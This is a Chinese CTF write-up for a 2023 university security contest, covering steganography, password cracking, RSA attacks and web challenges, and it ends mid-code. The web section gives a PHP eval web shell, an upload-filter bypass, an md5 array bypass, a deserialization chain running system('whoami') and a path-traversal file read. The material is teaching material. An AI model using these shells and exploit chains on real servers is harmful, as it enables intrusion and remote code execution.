2023齐鲁师范学院网络安全考核赛WriteUp

admin 2023年3月27日21:42:55评论70 views字数 38842阅读129分28秒阅读模式

MISC

签到

文件夹名字

QLNU{peng_you_men_juan_qi_lai}

找不同

提示:双图盲水印

题目给了两张看起来一样的图

搜索双图盲水印可以找到BlindWaterMark

项目地址:https://github.com/chishaxie/BlindWaterMark/

这里有python2和python3的两个脚本

因为python在升级版本的时候,将random库重写了算法,所以两个库的效果是不一样的

2023齐鲁师范学院网络安全考核赛WriteUp
python2 /root/ctf/BlindWaterMark/bwm.py decode 3.png 4.png flag4.png
2023齐鲁师范学院网络安全考核赛WriteUp

得到flag

看不清的推测一下  BWM确实很难看清,flag也是这个意思

QLNU{BWM_hard_to_see}

简单流量

本题是蚁剑流量,用蚁剑命令执行,zip命令压缩,然后下载

属于这两年最常遇到,也就是最简单的流量

例如:「2022DASCTF Apr X FATE 防疫挑战赛 - SimpleFlow」

可以搜索做一下试试

2023齐鲁师范学院网络安全考核赛WriteUp

追踪tcp流,这样可以比较清晰的看一个TCP的通信过程

2023齐鲁师范学院网络安全考核赛WriteUp

红色的是请求包,我向服务器发起的网页访问请求

蓝色的是响应包,服务器发给我的请求的响应

2023齐鲁师范学院网络安全考核赛WriteUp

这里上面就是蚁剑链接后发送的数据了

特点是url编码和base64

看到tcp第6流

2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp

这一条是我们的命令,去解base64

2023齐鲁师范学院网络安全考核赛WriteUp

发现是一团乱码,因为前两个字母是多余的,要删掉

2023齐鲁师范学院网络安全考核赛WriteUp

这样就得到了蚁剑发送的命令

最后一个流 tcp10流

2023齐鲁师范学院网络安全考核赛WriteUp

可以看到压缩包的PK头,选择原始数据

2023齐鲁师范学院网络安全考核赛WriteUp

找到504b0304,选中复制

2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp

010新建16进制文件,然后把复制的这段作为16进制数据粘贴

2023齐鲁师范学院网络安全考核赛WriteUp

快捷键ctrl+shift+v

2023齐鲁师范学院网络安全考核赛WriteUp

保存重命名为zip

或者用binwalk -e flag.pcapng也可以得到压缩包

2023齐鲁师范学院网络安全考核赛WriteUp

打开压缩包发现是有密码的

回到流量包里找密码

在tcp第8流

2023齐鲁师范学院网络安全考核赛WriteUp

删掉前两个字母

2023齐鲁师范学院网络安全考核赛WriteUp

找到加密zip的命令,密码是 G0od_paSsWoRd

解压得到flag

2023齐鲁师范学院网络安全考核赛WriteUp

显而易见

什么,下载就能看到lo0k_me.jpg? 不好意思放错附件了2023齐鲁师范学院网络安全考核赛WriteUp

flag_in_here.zip是伪加密

将deFlags标志位改成0即可正常解密

2023齐鲁师范学院网络安全考核赛WriteUp

jpg是不能lsb隐写数据的,因为他是有损压缩

当然不是很精密的数据也是可以的

2023齐鲁师范学院网络安全考核赛WriteUp

图片下面有很明显的留白

2023齐鲁师范学院网络安全考核赛WriteUp

stegsolve可以看到提示

本题使用的是steghide

建议在linux下使用,比如上学期装的kali

安装方式

apt install steghide

去网上也可以找到windows的压缩包

steghide extract -sf lo0k__me.jpg -p wo_jiu_shi_mi_ma
2023齐鲁师范学院网络安全考核赛WriteUp

得到flag

找图片

hint 7位数字

hint.txt中

%E5%AF%86%E7%A0%81%E9%9C%80%E8%A6%81%E7%88%86%E7%A0%B4

是URL编码,解码得到

密码需要爆破

docx有加密

如何爆破docx,百度搜到的结果中推荐使用hashcat

[hashcat]https://hashcat.net/ - World's fastest and most advanced password recovery utili

参照「吾爱」论坛

https://www.52pojie.cn/thread-1578758-1-1.html

office2john.py的代码下载

https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py

python office2john.py office2john.py 细节决定成败.docx

得到hash

细节决定成败.docx:$office$*2013*100000*256*16*96e0cea33c94d4da946330ec7f2b1365*ea07e5fa882e2c258a2edd79580d22f1*07d4aa4672c59dc93f0f379f6d20bf4019a5b0a56501d9bca4452d0fe89f66aa

然后使用hashcat爆破,根据wiki查询https://hashcat.net/wiki/doku.php?id=example_hashes

得到hash的类型的9600(office2013)

hashcat -a 3 -m 9600 $office$*2013*100000*256*16*96e0cea33c94d4da946330ec7f2b1365*ea07e5fa882e2c258a2edd79580d22f1*07d4aa4672c59dc93f0f379f6d20bf4019a5b0a56501d9bca4452d0fe89f66aa ?d?d?d?d?d?d?d

得到结果

2023齐鲁师范学院网络安全考核赛WriteUp

3322583

2023齐鲁师范学院网络安全考核赛WriteUp

进入word,flag在这张图片下面

2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp

左右翻转即可

摩拉克斯

Authored by:d3p4

我看大家看这题的人并不多,也没有在这题上浪费太多时间(姜文文别杀我),这题其实出得有些不怎么成功,顾题目名思义,这题的考点是摩斯码,前面套了一些比较基础的知识。但是前面的套娃把大家给劝退了,并没有让大家体验到这题真正想让大家学习的考点,把题目过程给大家写一下,可以看看自己卡到了哪步

帝君的谜题1:

txt是一个零宽隐写,把txt里的内容Ctrl+A复制下来解密

https://330k.github.io/misc_tools/unicode_steganography.html

2023齐鲁师范学院网络安全考核赛WriteUp

点Download Hidden Data as File,就可以得到下面这么一张图片

2023齐鲁师范学院网络安全考核赛WriteUp

放大观察一下,应该不难看到这么一行

2023齐鲁师范学院网络安全考核赛WriteUp
;);a+:.B.U9mT,n=]S.<9l2S1:.7Wi<)mU';-6.aA6*YJ<E):@:0(7i<Gk-E@9-97@Vmhs<c[(@r610;FG1Q9l+KC=%?"g@W#^n=_gWC:K1&7<(:4;_q-n@ouVr:.RiR;atFsAQVE8AQWVB@r6H^<S&u:01=OA6<M`9km.$;);lW@RWmX@;@`%;a`rG<`aB0<m$f@7N1FA6!/Z;cRd)AQLl[@TYoR;/9]8@Rs6J<&.3a@9%Ms9mTi]:.70X=%?qG:2ENr@9>rR=)M&b:K9ka@TID)<CC"^ASu$K@n''Z;ce3[@<uTe;/B5e9it/(AOU]C=&rfc<AA;u<('G9=)C]5:K1A6A8O&I@;KaR;as&t<`W*j;FEiI<bleo<&-pO<`i*O<d]W9h/[email protected]<Gk]O;_qp-;cQji@9?9*:,>43:/u7A>&-kkA4CN,@VTRo:.KPM:,5^8;cZd`@5C5<ASc.,=]]Q@;HIor<c2)S:01=`ASkUM;F``@9h.3Z@r,=j<_,t;FF8J;_pm!@PVnH:Id96A4C)e9l2mf;ep;-:KLON:,6?n<%q@!:IJ);JKB=@kpMh<&%p";akqV<_,r0;cH@F9h/`>@Vf4j=)E%uA4:$(@VCi<(1>"=][=9@r#aL9gqK,:.R]hA63h/<bbVhA27=d=YOeL;clpq9efOL@n'3c<A6:)@kr"&:.KD#:,5[%ASlO6@96?%<)d"E;DL7X=_q,R@r#Ur9l4'N:,$3Z=&j?cA4:$%;H51@5']3<^g%g;DW,c:I].f=)L>Z=`.(n9l=W<AOp?8<^]Q$AQNti;F`H0;--529h8ql>#ng1<c)eoA8Gp;=)Cei:IS#M@n1K==%>l%>"(GOASZO/9iP;9;akMD=]K!Q:2E@F<*)gm;HQsS<GkBS;en7,@96SgA85.E@7XQs=]JW_<&/,V<AH:'<)mIJ@r$$e;DC`s=Yb(T@;K+^@P_%@=`%Yn@oY6e<E31H<EE^6;atGD@97D;<bb3P<*)ss;H.=+@oYujA5l;oASuI)>&.Y,<mp)@TRA:9h0#A@r4)E;_paS:K:;$;-6FJ;FbOW9h-ln9gif=@o[>!@Vp0B=YWKl=)MPh@PTrA<(08n;cm($;FjM;@T?GbAOUQ5@RtH/9ef?s;H-8(>#eI>AOK^"=__V*<E2Xj9l"Bf<c1ZQ@ombH<GY-&:KM(!@Veq>@PL2B>";/1AOUQ];);`M='&pO9e^cH@odP(@VoXH<bkla=&qe3<,?2&@ol8o<GbW4<-giT>&@G`<(9VP<GYo@msOG=YN`EAOU]Y:,>@2<EMS.ASP7c<bcGR:IJkd@PDnI<GYE$=&qpmAO^W<,,#r;,h'r9km:@<S2j<AJ>G<CC@t<-hSE=YWfMA27":@n:Q?@TGrn@T[,d:2WBc<REk:.JJS@5:kO9l3X+A4K[?;_i<#A5m5c>"27X>&@:q<&/Pp@9#oTASP7a>";%[:,4Or@oZ9H@oR8A;(us5@kr:-AOK.8;b'GN9km9n;JTcg=)0[.:/jP=&h7p@<uR3;-6,09h-p4:In?/;L3"j;(tmI=aEDC@Rt!R<)u=R;/S^$@74dKA27%<;cHLl<bk;`<&7QR=]<S@Rt#d;Jf9VA5l0!<_-CqA5l#m@;KU[;/Bo;;b'H$A48s^@Ra6t=u&*P<(0i,<GH&j9il!b=&i!_>&%P)<CT`(:0'p<CJVs;f4op:2X`?>#n*Z<CoMAOo[B=]T?S<E31G;_WGb>"1i!9eoIFAOTUC:K9tA@51ea<E<9@V]q%=)MhD@qoOT;D:^<@97Dd;):["=)BrU;__p2@;Ab4<CB9%9ib7N@V[tq<`ET`@RW,";J]6R;DV'm;f5c*;JeF3<dJFf=_ptoAOgQ;<CgYF9eo0p@qo[@9$uY<mKh@n0QR@kq&/AQDQ0=)2nG@l%qI=Yaem:01&&<*3$VA84_M>&/(L=YOAc@od(r<(L"F:0']"<_.1G@n0BR<(Ao*@khLt>!u,(@5D(fA5lT,>'b!A@p!D4<*+0"<^p,';)2-.<``fi<GY-L@TR50<^gOn@r5C,@PVJ3>$!RO@T6*J<c(Sc;0P/d

根据hint:base家族,慢慢试,有这么几层base

base85,base64,base62,base58,base45,base32

解码得到

\]]]]]\]]]^\]]]]\]]]]^]]]]]]]]\^\]]]\]]\\^]]\\]]]\]]^]]]]]]]]]^]]]]\\]]]]^]]\\]\]]]]]^]\]\\]]]\]^\\]]]]]]]]]]^\\\\]]]\]]^]]^\^\\]^\\^\^^]^]]]^]]^\]^]]]]^]\]^]]^]\\^\\]^]]^]\^]]^]^]]]^]^]\^\]^]]]

再rot47得到一串摩斯码

--..-...--.-..-/--...-.--..-..-/-.-...-.-..-.--/--..-.--.-.----/-..----...--.-./-.-.-...-..-.-./-...-.----..-..-/-..----.--...../-.--.----...--./----..........-/--------...--.-./-.-./--/----./-----/--/-/-./..-./-../--./..../.--./-.-./.----/----./../-.--/-..-/-./.-../-./.---/--.-/-...-

解码后又是一串base64

cm90MTNfdGhpc19iYXNlNjQ=

解base64得到rot13_this_base64,于是rot13即可得到压缩包密码

pz90zgasqtucp19vlkayawd=

解压得到第一个摩斯码的考点

2023齐鲁师范学院网络安全考核赛WriteUp

参考这个图(来源:http://114.xixik.com/morsecode/)

2023齐鲁师范学院网络安全考核赛WriteUp

手抄得到(当然也可以根据红_黑.的规律抄出摩斯码再解密)

2023齐鲁师范学院网络安全考核赛WriteUp

由于摩斯码不分大小写,很容易想到这是一个base32,解密得到第一段flag

QLNU{Morax_5ays_M0rs3_

帝君的谜题2:

压缩包里图片拖到010里发现里面藏了一个zip文件

2023齐鲁师范学院网络安全考核赛WriteUp

分离出来得到一个带注释的压缩包,real_puzzle.zip

压缩包密码:b0fb753d65fbe9914222ec7e625a3974

得到一个gif

2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp

三种状态分别对应摩斯码的-  .  和分隔符

用stegesolve或者别的什么gif查看器逐帧查看然后抄出摩斯码即可

(这里其实想再考一个摩斯码中的短码,也就是中文电码,具体可参考

https://mosimima.hwcha.com/)

解码得到后一段flag

c0de_1s_int3reting~}

QLNU{Morax_5ays_M0rs3_c0de_1s_int3reting~}

CRYPTO

密码1

# 导入flag和bytes_to_long函数
from secret import flag
from Crypto.Util.number import bytes_to_long

# 将flag转换为长整型
m = bytes_to_long(flag)

# 输出转换后的长整型
print(m)

# 2191791638908840156765536270892615890049122589128917876054775676626045
# 输出结果:2191791638908840156765536270892615890049122589128917876054775676626045

exp

# 导入long_to_bytes函数

from Crypto.Util.number import long_to_bytes

# 将flag还原回来
flag_bytes = long_to_bytes(2191791638908840156765536270892615890049122589128917876054775676626045)

# 输出flag
print(flag_bytes)
#b'QLNU{Welcome_to_Crypt0_Wor1d}'

本题 以上部分 注释和解题脚本完全由ai生成

关于这部分,在寒假最后一次课讲过

详细的讲过这两者的转换关系

文档里也有

http://note.shenghuo2.top/01RSA%E5%9F%BA%E7%A1%80%E7%AF%87/P99%20%E9%9B%B6%E6%95%A3%E7%9F%A5%E8%AF%86%E7%82%B9/#_2

2023齐鲁师范学院网络安全考核赛WriteUp

密码2

这题是考了两个考点,都是模板,在文档里都有,寒假也讲过

第一组 e=3

低加密指数攻击

http://note.shenghuo2.top/01RSA%E5%9F%BA%E7%A1%80%E7%AF%87/P09.%E4%BD%8E%E5%8A%A0%E5%AF%86%E6%8C%87%E6%95%B0%E6%94%BB%E5%87%BB/

第二组 e非常大

wiener(维纳)攻击

http://note.shenghuo2.top/01RSA%E5%9F%BA%E7%A1%80%E7%AF%87/P08.wiener%28%E7%BB%B4%E7%BA%B3%29%E6%94%BB%E5%87%BB/

「exp」

import gmpy2
import libnum

def de(c, e, n):
    k = 0
    while True:
        mm = c + n*k
        result, flag = gmpy2.iroot(mm, e)
        if True == flag:
            return result
        k += 1
n1= 17794322651985244360398798297236427197573099919777514390150548716043011554909472386538419547646479217198212860392441088306482436079057597017673282668575104805696280644632851112533403306674446415017207139655032895492883126061112607345051218406669295154148958166274223016727551462902566417623047515071725277952574163061484432382823360998093917106149223318057791276272014868197026724133570608265590284050526460086825829070086760617092472050523406342180114072290933789764539189990961852638276421000034476472644757648042472764152115642143975454219099357466733210241984509297458075644727434818666677787414405014312485796877
e1= 3
c1= 1677407691835378198546657984223033477067493258850917927258352885520853732106150834607491649923038875268749604055578354093790916134845045758103489513761


m1=de(c1,e1,n1)
print(libnum.n2s(int(m1)).decode())


import gmpy2
import libnum

def continuedFra(x, y):
    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """

    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf
def gradualFra(cf):
    """计算传入列表最后的渐进分数
    :param cf: 连分数列表
    :return: 该列表最后的渐近分数
    """

    numerator = 0
    denominator = 1
    for x in cf[::-1]:
        # 这里的渐进分数分子分母要分开
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator
def solve_pq(a, b, c):
    """使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
    :param a:x^2的系数
    :param b:x的系数
    :param c:pq
    :return:p,q
    """

    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
    """计算列表所有的渐近分数
    :param cf: 连分数列表
    :return: 该列表所有的渐近分数
    """

    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf


def wienerAttack(e, n):
    """
    :param e:
    :param n:
    :return: 私钥d
    """

    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d, k in gf:
        if k == 0continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return d


n2= 28764801891789630496158814107080280277129502361885222750082931951763197520627874705493345391184359108052978734919530375982818388373339206160218665275185601487103229570607819926113211153276542794365361104430082886339857276733492860339158729793976251480644019363618395047922069151455888530980320799065099543029094821092174328932901892049723862108644692248879129903763321885608879912420989261553280584980567748492711574994986214234350421900028706698190893297507027399412244052287754949432571827799437153212833094683689783752996417279952432942753568479754941623066905711324867955960167005070199455435147452836309126906689
e2= 704703041144161577012087456962842558336673764999654897668687010636927707025602054444354219778297700025759519613233509979555365795481578339351421529962881828041145966504800164692212600548676492959357409580016951536391396052780299206338725968939324161070771908294718717256193742456675415335048405717976288953597614820809458361599091353315706929802591235336969094270784765619059768027279430682498525232895575015433173059620825639441417362939309239535120311284043598713270951064688241406088374817444860613773911719770085809168462743751201411017304148214621214323182377222124862116850365217134192566868062790147116360325  
c2= 3866285343510070083843161056507294375390716979334211957925424967972852907319726974524439549790432648684090478346561160514189492737204174375363568105167990348408074584350091709078165069987747442114703962691664627250544741977495737664347880190406218395917102999140628020486151094186478587531410396120883481857200470129442887105515526164873980943607492720026927216851742181529233646089914113373499946092277370990871673101990023285241588799357977463021397782746204431918110203057893107358565558349933724569763816796275443109700621987152070902253447675368970939979877470783869101009631358741569724263427019402694253315975

d=wienerAttack(e2, n2)
m2=pow(c2, d, n2)
print(libnum.n2s(m2).decode())

# QLNU{e57885f7-bb8e-4a
# 32-95a3-8d053e0d0764}

密码3

p = getPrime(1024)
q = getPrime(768)

hint = p**3 + q**2 + 647**6 + 653522531*15 + 9

p远大于q,所以远大于

所以p的远大于其他的和

所以hint近似于

对hint开三次方根

p = libnum.nroot(hint,3)

求出p,q=n//p

然后正常解

import libnum
e = 65537
c = 71006103372412044312819415754890236591010667290476171732849891031154161413755756389800031863634501968018973467994336921863576045927865057620110276133007713394607890961299688961072344705219549236488634012357200622261985508555546257123851675662932077761718811343763329757348379337874687284169335699712263079874026606077256470412455955555001948525310460766417311320754027857069001783963330608415206416087008625618806534900951705480932603981460028570259100040394319693229444019729643289680350720405041972843156579023545489559211823014364723365
hint = 763988131420320188479892287267696489693396898988105285846900692836754599870159523586378097011331586604180594063858628653160374239087049720173273678997338656365290709175007462308792914764526938138682615513678977756046442022565426509529058163085713367064159219029236072276269919500619494538505141786746087592664650756173248773382978137789826117651006728629279458560271573846908938345822453005130071054010616749156629583078397037500477872504767682172353097156891520577850342314503906130598715529966031568908756077232337382426632008061010900144961139303263727332977956017214420922179906897445364947617712539526290564738019842221362720681462392443568054084727743685697670839411948419531440915662698528122732843223199635984625606055022505075833481655072423339796902426998391099759213144574465170323947529123968023330138074183035345449975498762386946018715765891508629051064752285064503821804187068577224459514916723382079436021471
n = 105361355921951406643065722436313111246476986934021086173449727693279893065728667917709118878188948228194465347089170930695097516066620270901945303316964510010107090704402489648436400663026405879196957932589771399882776268958933339208259789349792421639569172020234415156529867093982373273980906179294820018512047476786638890884024189564528513736425987699351218749032372724008052769632106170152224310382368197368520228134396942550906922599026196447360906637679928259938669021204162648957102935522653270640038794869782779949024288669057427837


p = libnum.nroot(hint,3)
q = n//p
phi_n = (p-1)*(q-1)
d = libnum.invmod(e,phi_n)
m = pow(c,d,n)
print(libnum.n2s(m))

# b'QLNU{That_ca1culaTe_re4lly_Ea5Y_alright}'

密码4

MT19937是一种伪随机数生成算法

https://zh.wikipedia.org/zh-cn/%E6%A2%85%E6%A3%AE%E6%97%8B%E8%BD%AC%E7%AE%97%E6%B3%95

具体知识不写了,看帖子吧

就是通过产生的随机数,反过来预测下一个随机数是什么

from mt19937predictor import MT19937Predictor
from libnum import n2s
from Crypto.Util.number import *

randoms = [69494122992847985131791583587245680621137856470484808960034165281382747228564054508236334071360946247254344467155571789278964099718070185824824172999207588296396776681771505779693627898315770726089062054435419559526315458151506498124508505077978846367267343831562568703476067225000251512612319683515607935170654350625326859967187806497465929125546215216470710858256826335558630674201523977022391084124421238961414254012219924040278543282599085594032616610163062847670329230626839150086282687588354964113474746454473603934931240865173369024415279436781131671458413924759077522876792399132547639413048598856420859233314212792510082969047776677889043699607028076040571560915306634966295783228953813155412521531956666215944913384060915012123561235110663732039217988162024113341003063646106091517815436252433734178749702992902949214333790562127672523008389633322147542794364363881964384071468011324951761889390419719571124681872596754169995226559474555731799819128772044969361016915837717764662572566612827685352349475783838215169021033018269942010763390053424211956075269229465906501719255826284933577345763285538975388392902620722223592944862535946375192013299576096706653213241944713562597596610632367668846620187239553495447544131972717707770191893081811110712056248579091570394031414905820249089349714686486526970914463563499609715328619207587131207869438271470997656378390685381218752396758440466187602058240983972764005911071871687374972037669852076457043431168578566241185523874536512421351146325187171371154806045156572343792666836731247690685313014943577154385882468867396581012478713847411547652902255186736604021638159820519146094086675068632809977676374518524188030156267527242976632439164942554323658551138719718480167845555337832096236588461673804680237015439103179115961161857079310446462188944371533397360853294700853113343108911731912095711439142416150675480191404456523799575297965662884240895823348245428586796373196530311955463181983391195768389697438533612436364731640765770656042451612363383079010636875382019649631183187915802546086578545845428320732904435637970952587431762072116329484701897723232157532435868635391154673182434065671570532555076906937897283020554115644229860851666833250193851083044066130417166937555790427060120857622246080737783642114459892602712468607595762918723828688090902420050174083763716646062705472299696717560966179369177999970837634807144546668284476388452534833336524656053335756756881761338549368033176220584396020009263446523481903861211258707949257931632953344464664502372543131642079776607350249598035141548715117724241347003265081464266830509898649746123132025507696199562533205270865450584382217588108593068631739148563538462196102623991884628560985032059111457616667331468920112382624908838407729208193103899353204349425727313510627269099352961926665198477259094542800748583211292853272843846679988525341561613581216264382596699298923145909795904748014492232706742670174136511005141351900738585443593265415317136018458970865276221879161659003215911328277203036934817160688190384193099401794108172385136524436598964887718943931903538322121324176243919034568514110688274534360088546417802798435793274151028359853736832883469865790003616342327694648979785176114382181814772789587886483443592932011672007306432273564930603710028600715916852659731376882194055632755732433119517360084064819946325554121019862862559326396652333802139531431756106081357277921047766923467784527401424801358478951005123549350288962180119329281072618415154238018594778907346579806913072806605767152842867623990394009902379776674424985386700987447684627484471642996190447429661125127817822973696944888810290252722712200804375850550866496816958710575156820256293151376152287074213863842913875690989296399234454279522545312513464148082972868366342205503275385117594735990010497584815578371114068315324594777184646330216238683133112229502156755054829576815316056362933033633872522604430761096964292160392844657158235611086976684072756327805070893190309886544170584628901313193480205096870354430556284397139153797407318306588029679509443012656388594224552102249111469849080224793790201193272602840274477623700743373112723085139018582112166336873488840316920847725613058940149057946649307565428752610877073350438862204410409712318411012386595792871015756095189495540462328606220822960117008650560293180469829432759737349345665188196303462488220171339862002345242830145565078930289848338822551797742365421825154692055442800747404402313127795944043967449435778988330057435446894343249572680629684055736648079443611499695430908163960583721991779707633843202377859836442015752144256460479919422948319216477090582604399005582000647587490804212277017650743994740395223049478050774742315276849940447120520043648042703871206926943567888244858400484555812824117318732701518420224474700730804031620606845347168477905936378281391611876681308792431150484813847869700435010812403813281546949061361342465630733495132803171967852421199525407311981115263752927434057698509188003164855812706974251592024509856719822897298540356911788929341749455660662340649550671176106954659345973255246986452683820418005527042198368535096678919260786364262326345656917874502655949560660050177871870256195731485845572563300025895089852764958468852997610074525720135027580499395332849625591095523804006942985717638934250793088782141097471738666241958360994372771988429821200199116240671985122756323056337736956397539678225022498541473519379923418537422198930595971374661774198105058494625454836939938578111634743411616275073173271814319215819455133041257750845465840856329179112464235667982852697102854635098072469502559967260907274302408507309449905073155525686076363644295785966452600773071183251432240417636113051086901863425117532079875875408403347014101089357888417019896258692774266514776227141044572690991446882507580210536807076541858728890289485089242801540696608205938331844829637433512071293091157091096580239876935315912476357760251530865015377521842761736813856378458855575897251007857426638618560684]
cipher = 5580212607621476290226526036514331047250612905777585247208052106485701396258674075941148671608712982273958056723730143463612590928077625356928796822182633

pt = MT19937Predictor()
for _ in randoms:
    pt.setrandbits(_,96)

x = pt.getrandbits(512)
flag = n2s((x) ^ cipher)
print(flag)
print(((x) ^ cipher).bit_length())
# b'QLNU{PRNG_MT19967_a1so_dangEr_with_lo0O00ong_num6er_5equenCe}'

WEB

web1

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if($_POST['a'] !== $_POST['b'] && $_POST['c'] !== $_POST['d']){
    if(md5($_POST['a']) == md5($_POST['b']) && md5($_POST['c'])===md5($_POST['d'])){
        eval($_REQUEST["QLNU"]);
        echo 'success';
    }
    echo 'nice';
}

md5的强弱比较,百度一大堆,直接数组绕过即可

a[]=1&b[]=2&c[]=3&d[]=4

之后就命令执行,$_REQUEST传参,就跟postget传参一样

2023齐鲁师范学院网络安全考核赛WriteUp

cat /flag后在源码中找到flag

web2

源码

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<form enctype="multipart/form-data" method="post">
    <p>过滤了吗?<p>
        <input class="input_filetype="filename="upload_file"/>
        <input class="buttontype="submitname="submitvalue="上传"/>
</form>
</html>


<?php
@error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['submit']))
{
    $file_name = trim($_FILES['upload_file']['name']);
    $black = array(".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx");
    $file_ext = strrchr($file_name, '.');
    $name = pathinfo($file_name, PATHINFO_FILENAME);

    $encode = base64_encode($name);
    $file_ext = strtolower($file_ext);

    if (![]n_array($file_ext, $black)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = 'upload'.'/'.$encode.$file_ext;
        if (isset($temp_file)) {
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        }
    }else {
        $msg = '再好好看看';
    }
}
if($is_upload){
    echo '上传成功';
}
?>

这题主要审计代码,主要的几段代码

$name = pathinfo($file_name, PATHINFO_FILENAME);  //获取文件名 比如上传1.php,$name就是1
$encode = base64_encode($name);  //把文件名给base64加密 也就是把1给加密即:$encode=MQ==

之后的if语句就判断后缀有没有在$black中,如果在就输出再好好看看没有的话就上传成功,而在$black并没有php,所以可以直接上传php

$img_path = 'upload'.'/'.$encode.$file_ext;

这一句就是把文件放到了upload/目录下,文件名被改成了MQ==,后缀是$file_ext,这个就是获取的上传文件的后缀,就是php

分析完之后就直接上传一个1.php文件里面写

   <?php @eval($_POST['attack']);?>

显示上传成功,

之后就找路径和文件名就行

我上传的是1.php,1 base64加密后是MQ==,所以路径就是/upload/MQ==.php

2023齐鲁师范学院网络安全考核赛WriteUp

web3

post传一个a后就会显示源码

<?php
error_reporting(0);
class Q
{
    public $q1;

    public function __invoke()
    
{
        $this->q1->Q();
    }
}

class L
{
    public $l1;

    public function __destruct()
    
{
        echo $this->l1;
    }

    public function execute()
    
{
        ($this->l1)();
    }

    public function __call($a, $b)
    
{
        echo $this->l1->getflag();
    }

}

class N
{
    public $n;

    public function __toString()
    
{
        $this->n->process();
        return 'good';
    }
}
class U
{
    public $u1;

    public function process()
    
{
        ($this->u1)();
    }

    public function getflag()
    
{
        eval($this->u1);
    }

}

if (![]sset($_POST['a'])) {
    echo 'post一个a';
}else{
    highlight_file(__FILE__);
    unserialize($_POST['a']);
}

典型的反序列化,看一下魔法函数

__construct() 构造函数:具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct() 析构函数:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__destruct() 对象被销毁时触发。
__sleep() 执行serialize() 时,会先调用这个函数。
__wakeup() 执行unserialize() ,会调用这个函数。
__toString() 把类当作字符串使用时触发。
__invoke() 当尝试将对象调用为函数时触发。
__call() 在对象上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据或者不存在这个键都会调用此方法。
__callStaic() 在静态上下文中调用不可访问的方法时触发。
__set() 用于将数据写入不可访问的属性。
__isset() 在不可访问的属性上调用isset()empty() 触发
__unset() 在不可访问的属性上使用unset() 时触发。

其实反序列化很简单就是一步一步走到你要利用的函数,比如这个题我们要利用的就是U类的eval函数,因为只有这个函数才能命令执行,倒着来看就行,evalgetflag函数中,找那个类里调用getflag,找到在L里的__call方法调用,再找哪里调用了__call

==__call()  在对象上下文中调用不可访问的方法时触发==,Q类中的__invoke()调用Q方法,但没有Q方法就触发__call,之后找触发__invoke()的,==__invoke()  当尝试将对象调用为函数时触发。==,在U类中的process()方法把u对象当做方法来调用了,就触发__invoke(),之后再看怎么调用process(),在N类中的__toString(),在对象n中调用了process(),再找哪里触发__toString(),==__toString()  把类当作字符串使用时触发。==,在L中echo了对象ll,一般字符串才可以echo所以触发了__toString(),之后找触发__destruct(),==__destruct()  对象被销毁时触发。==,他可以自动被触发,所以一整条链就完成了

__destruct()->__toString()->process()->__invoke()->__call(b)->getflag()

poc

<?php
error_reporting(0);
class Q
{
    public $q1;
    public $q2;

    function eval() {
        echo new $this->q1($this->q2);
    }

    public function __invoke()
    
{
        $this->q1->Q();
    }
}

class L
{
    public $l1;

    public function __destruct()
    
{
        echo $this->l1;
    }

    public function execute()
    
{
        ($this->l1)();
    }

    public function __call($a, $b)
    
{
        echo $this->l1->getflag();
    }

}

class N
{
    public $n;

    public function __toString()
    
{
        $this->n->process();
        return 'good';
    }
}
class U
{
    public $u1;

    public function process()
    
{
        ($this->u1)();
    }

    public function getflag()
    
{
        eval($this->u1);
    }

}

$a = new L();
$a->l1 = new N();
$a->l1->n = new U();
$a->l1->n->u1 = new Q();
$a->l1->n->u1->q1 = new L();
$a->l1->n->u1->q1->l1 = new U();
$a->l1->n->u1->q1->l1->u1 = "system('whoami');";
echo serialize($a);
?>

web4

页面是hello look点击look可以看到

2023齐鲁师范学院网络安全考核赛WriteUp

重定向到了百度页面,hint给了源码页面

/read?url=../../../app/app.py

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello <a href="/read?url=https://baidu.com">looklook</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'flllag':
        return open('/flag.txt').read()
    else:
